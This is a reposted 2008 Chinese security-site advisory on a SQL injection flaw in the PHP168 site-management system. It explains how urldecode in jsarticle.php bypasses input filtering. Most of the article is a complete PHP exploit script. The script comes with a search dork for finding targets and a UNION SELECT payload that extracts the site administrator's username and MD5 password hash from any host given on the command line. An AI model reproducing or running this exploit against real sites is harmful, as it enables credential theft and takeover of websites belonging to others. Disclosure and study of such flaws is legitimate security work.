首 页新闻中心软件下载动画教程给我留言技术论坛繁體中文 
在线服务 MD5破解 免费代理 邮局登陆 商城系统 文章 免费空间 在线杀毒
黑客擂台
设为首页 广告合作 网站帮助 下载声明
联系站长 网站地图 关于本站 加入收藏
您当前的位置:黑客擂台漏洞病毒 → 新闻内容
站内公告: 请牢记本站宗旨:自由,探索,创新,合作;不要利用你的网络技术给他人带来麻烦,否则会有人找你的麻烦!
业界动态 | 漏洞病毒 | 黑客事件 | 黑客文化 | 安全防御 | 技术文摘 | 风云人物 | 焦点资讯 | 厂商动态 | 黑客故事
PHP 168 SQL注射漏洞
PHP 168 SQL注射漏洞
作者:佚名  来源:转载  发布时间:2008-7-12 8:39:38

减小字体 增大字体

漏洞说明:历经数年开发与完善的”PHP168整站系统”是国内最早的多功能模块化 网站管理软件系统;不仅适合于建设一般的企业、政府、学校、个人等小型网站,同时也适合于建设地区门户、行业门户、收费网站等大中型网站,80sec在其 产品中发现了一个严重的SQL注射漏洞,可能被恶意用户查询数据库的敏感信息,如管理员密码,加密key等等,从而控制整个网站。

漏洞厂商:http://www.php168.com

漏洞解析:在系统的jsarticle.php中,使用了urldecode用来解码用户提交的数据,但是在使用该函数之后并没有做进一步的有效性验证,从而导致精心构造的数据可以饶过系统的过滤以及php的Magic Quote保护,漏洞部分代码如下:


elseif($type=='like')
{ 

$SQL.=" AND aid!='$id' ";

if(!$keyword)
{
extract($db->get_one("SELECT keywords AS keyword FROM {$pre}article WHERE aid='$id'"));
}

if($keyword){
$SQL.=" AND ( ";
$keyword=urldecode($keyword);
$detail=explode(" ",$keyword);
unset($detail2);
foreach( $detail AS $key=>$value){
$detail2[]=” BINARY title LIKE ‘%$value%’ “;
}
$str=implode(” OR “,$detail2);
$SQL.=” $str ) “;
}else{
$SQL.=” AND 0 “;
}

$ORDER=’ list ‘;
}

if(!$webdb[viewNoPassArticle]){
$SQL.=’ AND yz=1 ‘;
}

$SQL=” WHERE $SQL ORDER BY $ORDER DESC LIMIT $rows”;
$which=’*’;
$listdb=list_article($SQL,$which,$leng);

keyword被urldecode然后进入list_article函数,提交%2527将导致一个’进入SQL查询

在artic_function.php中的list_article函数如下


function list_article($SQL,$which='*',$leng=40){
global $db,$pre;
$query=$db->query("SELECT $which FROM {$pre}article $SQL");
while( $rs=$db->fetch_array($query) ){
if($rs[mid]){
$_rss=$db->get_one(”SELECT * FROM {$pre}article_content_{$rs[mid]} WHERE aid=’$rs[aid]‘ LIMIT 1″);
$_rss && $rs=$rs+$_rss;
}
$rs[content]=@preg_replace(’/<([^<]*)>/is’,””,$rs[content]);	//把HTML代码过滤掉
//如果文章有短标题,将以此显示在文章列表
if($rs[smalltitle]){
$title=$rs[smalltitle];
}else{
$title=$rs[title];
}
$rs[title]=get_word($rs[full_title]=$title,$leng);
if($rs[titlecolor]||$rs[fonttype]){
$titlecolor=$rs[titlecolor]?”color:$rs[titlecolor];”:”;
$font_weight=$rs[fonttype]==1?’font-weight:bold;’:”;
$rs[title]=”$rs[title]“;
}
$rs[posttime]=date(”Y-m-d”,$rs[full_posttime]=$rs[posttime]);
if($rs[picurl]){
$rs[picurl]=tempdir($rs[picurl]);
}
$listdb[]=$rs;
}
return $listdb;
}

直接进入SQl查询,导致注射漏洞的产生。

漏洞利用:80sec提供攻击测试代码如下:


#!/usr/bin/php
<?php

print_r('
+---------------------------------------------------------------------------+
Php168 v2008 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by PHP168 V2008"
+---------------------------------------------------------------------------+
');
/**
* works regardless of php.ini settings
*/
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].’ host path
host:      target server (ip/hostname)
path:      path to php168
Example:
php ‘.$argv[0].’ localhost /php168/
+—————————————————————————+
‘);
exit;
}

error_reporting(7);
ini_set(’max_execution_time’, 0);

$host = $argv[1];
$path = $argv[2];

$resp = send();
preg_match(’/([a-z0-9]+)_article/’, $resp, $pre);

if ($pre)
$resp = send();
else
exit(”Exploit Failed!\n”);

preg_match(’/content_([\S]+)\|([a-z0-9]{32})/’, $resp, $pwd);

if ($pwd)
exit(”Expoilt Success!\nadmin:\t$pwd[1]\nPassword(md5):\t$pwd[2]\n”);
else
exit(”Exploit Failed!\n”);

function send()
{
global $host, $path, $pre;

if ($pre)
$cmd = ‘type=like&keyword=%2527)/**/UNION/**/SELECT/**/1,1,1,1,CONCAT(username,%2527|%2527,password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/’.$pre[1].’_members/**/WHERE/**/uid=1%23′;
else
$cmd = ‘type=like&keyword=%2527′;

$message = “POST “.$path.”jsarticle.php  HTTP/1.1\r\n”;
$message .= “Accept: */*\r\n”;
$message .= “Accept-Language: zh-cn\r\n”;
$message .= “Content-Type: application/x-www-form-urlencoded\r\n”;
$message .= “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n”;
$message .= “Host: $host\r\n”;
$message .= “Content-Length: “.strlen($cmd).”\r\n”;
$message .= “Connection: Close\r\n\r\n”;
$message .= $cmd;

$fp = fsockopen($host, 80);
fputs($fp, $message);

$resp = ”;

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}

?>

漏洞状态:已经通知php168官方,官方已经发布补丁。

本站内容均为原创,转载请务必保留署名与链接!
PHP 168 SQL注射漏洞:http://www.80sec.com/php168-sql-injetion.html

[ 数据载入中... ] [返回上一页] [打 印]
∷相关新闻评论∷    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]
{$ReadFriendLink(24,8,1,1)}
推荐新闻
· 6.27毒报:黑客学徒感..
· 怎样才能知道自己的电..
· 病毒是怎么命名的?教..
· “木马群”肆虐中毒电..
· MD5真的已靠不住?同样..
· 黑客利用网银盗窃30万..
· 安全专家:IE 6新缺陷可..
· 简便快捷好方法 请看注..
· IANA ICANN站点被黑 访..
· 19岁黑客攻击公安网站..
相关新闻
·Phpcms 2007 远程文件包含漏洞
热门新闻
·[新闻]辽宁女孩张雅狂骂四川灾民视..
·[图文]网络惊现大二女生艳照门图及..
·[图文]用彩虹QQ个性聊天 抓出隐身好..
·19岁黑客攻击公安网站并留言挑衅
·[图文]强行破解加密WinRAR文件 找回..
·[推荐]拒绝肉鸡 教你几招让黑客永远..
·惊奇的发现QQ2008里面隐藏的神奇的..
·[推荐]通过QQ即可控制电脑 全球首个..
·[新闻]黑客放灰鸽子木马程序盗走32..
·文件夹全部被恶意修改为隐藏属性解..
·[图文]手工查杀木马和病毒 作网络安..
·[新闻]清华大学网站被黑 黑客捏造新..
| 设为首页 | 加入收藏 | 联系站长 | 关于本站 | 网站帮助 | 广告合作 | 下载声明 | 网站地图

版权所有 ©2008 黑客擂台 网站备案编号: 陕ICP备08006476号 投稿信箱:hack-pk@163.com 站长QQ:81193119 279980950 QQ群:35658924 61401592
Copyright ©Hackpk.CoM. All rights reserved.